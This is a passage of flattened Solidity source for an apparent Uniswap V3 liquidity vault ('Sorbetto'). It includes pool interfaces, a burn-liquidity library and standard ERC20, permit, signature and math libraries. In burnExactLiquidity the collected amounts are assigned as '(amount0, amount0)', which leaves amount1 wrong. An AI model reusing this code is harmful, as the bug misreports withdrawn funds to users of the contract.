swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); } pragma solidity >=0.5.0; /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); } pragma solidity >=0.5.0; /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); } pragma solidity >=0.5.0; /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); } pragma solidity >=0.5.0; /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions { } pragma solidity 0.7.6; pragma abicoder v2; /// @title This library is created to conduct a variety of burn liquidity methods library PoolActions { using PoolVariables for IUniswapV3Pool; using LowGasSafeMath for uint256; using SafeCast for uint256; /** * @notice Withdraws liquidity in share proportion to the Sorbetto's totalSupply. * @param pool Uniswap V3 pool * @param tickLower The lower tick of the range * @param tickUpper The upper tick of the range * @param totalSupply The amount of total shares in existence * @param share to burn * @param to Recipient of amounts * @return amount0 Amount of token0 withdrawed * @return amount1 Amount of token1 withdrawed */ function burnLiquidityShare( IUniswapV3Pool pool, int24 tickLower, int24 tickUpper, uint256 totalSupply, uint256 share, address to ) internal returns (uint256 amount0, uint256 amount1) { require(totalSupply > 0, "TS"); uint128 liquidityInPool = pool.positionLiquidity(tickLower, tickUpper); uint256 liquidity = uint256(liquidityInPool).mul(share) / totalSupply; if (liquidity > 0) { (amount0, amount1) = pool.burn(tickLower, tickUpper, liquidity.toUint128()); if (amount0 > 0 || amount1 > 0) { // collect liquidity share (amount0, amount1) = pool.collect( to, tickLower, tickUpper, amount0.toUint128(), amount1.toUint128() ); } } } /** * @notice Withdraws exact amount of liquidity * @param pool Uniswap V3 pool * @param tickLower The lower tick of the range * @param tickUpper The upper tick of the range * @param liquidity to burn * @param to Recipient of amounts * @return amount0 Amount of token0 withdrawed * @return amount1 Amount of token1 withdrawed */ function burnExactLiquidity( IUniswapV3Pool pool, int24 tickLower, int24 tickUpper, uint128 liquidity, address to ) internal returns (uint256 amount0, uint256 amount1) { uint128 liquidityInPool = pool.positionLiquidity(tickLower, tickUpper); require(liquidityInPool >= liquidity, "TML"); (amount0, amount1) = pool.burn(tickLower, tickUpper, liquidity); if (amount0 > 0 || amount1 > 0) { // collect liquidity share including earned fees (amount0, amount0) = pool.collect( to, tickLower, tickUpper, amount0.toUint128(), amount1.toUint128() ); } } /** * @notice Withdraws all liquidity in a range from Uniswap pool * @param pool Uniswap V3 pool * @param tickLower The lower tick of the range * @param tickUpper The upper tick of the range */ function burnAllLiquidity( IUniswapV3Pool pool, int24 tickLower, int24 tickUpper ) internal { // Burn all liquidity in this range uint128 liquidity = pool.positionLiquidity(tickLower, tickUpper); if (liquidity > 0) { pool.burn(tickLower, tickUpper, liquidity); } // Collect all owed tokens pool.collect( address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max ); } } pragma solidity >=0.4.0; // computes square roots using the babylonian method // https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method library Babylonian { // credit for this implementation goes to // https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687 function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; // this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2); // however that code costs significantly more gas uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } pragma solidity ^0.7.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {LowGasSafeMAth} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using LowGasSafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {LowGasSafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } } pragma solidity >=0.7.0; /// @title Function for getting the current chain ID library ChainId { /// @dev Gets the current chain ID /// @return chainId The current chain ID function get() internal pure returns (uint256 chainId) { assembly { chainId := chainid() } } } pragma solidity =0.7.6; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ISS"); require(v == 27 || v == 28, "ISV"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "IS"); return signer; } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } pragma solidity =0.7.6; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = ChainId.get(); _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (ChainId.get() == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) { return keccak256( abi.encode( typeHash, name, version, ChainId.get(), address(this) ) ); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.7.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using LowGasSafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "TEA")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "DEB")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "FZA"); require(recipient != address(0), "TZA"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "TEB"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "MZA"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "BZA"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "BEB"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "AFZA"); require(spender != address(0), "ATZA"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity =0.7.6; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping (address => Counters.Counter) private _nonces; //keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 private immutable _PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") { } /** * @dev See {IERC20Permit-permit}. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override { // solhint-disable-next-line not-rely-on-time require(block.timestamp <= deadline, "ED"); bytes32 structHash = keccak256( abi.encode( _PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline ) ); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "IS"); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view virtual override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } /** * @dev "Consume a nonce": return the current value and increment. */ function _useNonce(address owner) internal virtual returns (uint256 current) { Counters.Counter storage nonce = _nonces[owner]; current = nonce.current(); nonce.increment(); } } pragma solidity >=0.4.0; /// @title FixedPoint96 /// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format) /// @dev Used in SqrtPriceMath.sol library FixedPoint96 { uint8 internal constant RESOLUTION = 96; uint256 internal constant Q96 = 0x1000000000000000000000000; } pragma solidity >=0.5.0; /// @title Math functions that do not check inputs or outputs /// @notice Contains methods that perform common math functions but do not do any overflow or underflow checks library UnsafeMath { /// @notice Returns ceil(x / y) /// @dev division by 0 has unspecified behavior, and must be checked externally /// @param x The dividend /// @param y The divisor /// @return z The quotient, ceil(x / y) function divRoundingUp(uint256 x, uint256 y) internal pure returns (uint256 z) { assembly { z := add(div(x, y), gt(mod(x, y), 0)) } } /// @notice Returns floor(x / y) /// @dev division by 0 has unspecified behavior, and must be checked externally /// @param x The dividend /// @param y The divisor /// @return z The quotient, floor(x / y) function unsafeDiv(uint256 x, uint256 y) internal pure returns (uint256 z) { assembly { z := div(x, y) } } } pragma solidity >=0.4.0; /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath { /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = a * b // Compute the product mod 2**256 and mod 2**256 - 1 // then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2**256 + prod0 uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2**256. // Also prevents denominator == 0 require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] // Compute remainder using mulmod uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator // Compute largest power of two divisor of denominator. // Always >= 1. uint256 twos = -denominator & denominator; // Divide denominator by power of two assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2**256 / twos. // If twos is zero, then it becomes one assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; // Invert denominator mod 2**256 // Now that denominator is an odd number, it has an inverse // modulo 2**256 such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct // correct for four bits. That is, denominator * inv = 1 mod 2**4 uint256 inv = (3 * denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv *= 2 - denominator * inv; // inverse mod 2**8 inv *= 2 - denominator * inv; // inverse mod 2**16 inv *= 2 - denominator * inv; // inverse mod 2**32 inv *= 2 - denominator * inv; // inverse mod 2**64 inv *= 2 - denominator * inv; // inverse mod 2**128 inv *= 2 - denominator * inv; // inverse mod 2**256 // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2**256. Since the precoditions guarantee // that the outcome is less than 2**256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inv; return result; } /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0) { require(result < type(uint256).max); result++; } } } pragma solidity >=0.5.0; /// @title Safe casting methods /// @notice Contains methods for safely casting between types library SafeCast { /// @notice Cast a uint256 to a uint160, revert on overflow /// @param y The uint256 to be downcasted /// @return z The downcasted integer, now type uint160 function toUint160(uint256 y) internal pure returns (uint160 z) { require((z = uint160(y)) == y); } /// @notice Cast a uint256 to a uint128, revert on overflow /// @param y The uint256 to be downcasted /// @return z The downcasted integer, now type uint128 function toUint128(uint256 y) internal pure returns (uint128 z) { require((z = uint128(y)) == y); } /// @notice Cast a int256 to a int128, revert on overflow or underflow /// @param y The int256 to be downcasted /// @return z The downcasted integer, now type int128 function toInt128(int256 y) internal pure returns (int128 z) { require((z = int128(y)) == y); } /// @notice Cast a uint256 to a int256, revert on overflow /// @param y The uint256 to be casted /// @return z The casted integer, now type int256 function toInt256(uint256 y) internal pure returns (int256 z) { require(y < 2**255); z = int256(y); } } pragma solidity >=0.7.0; /// @title Optimized overflow and underflow safe math operations /// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The 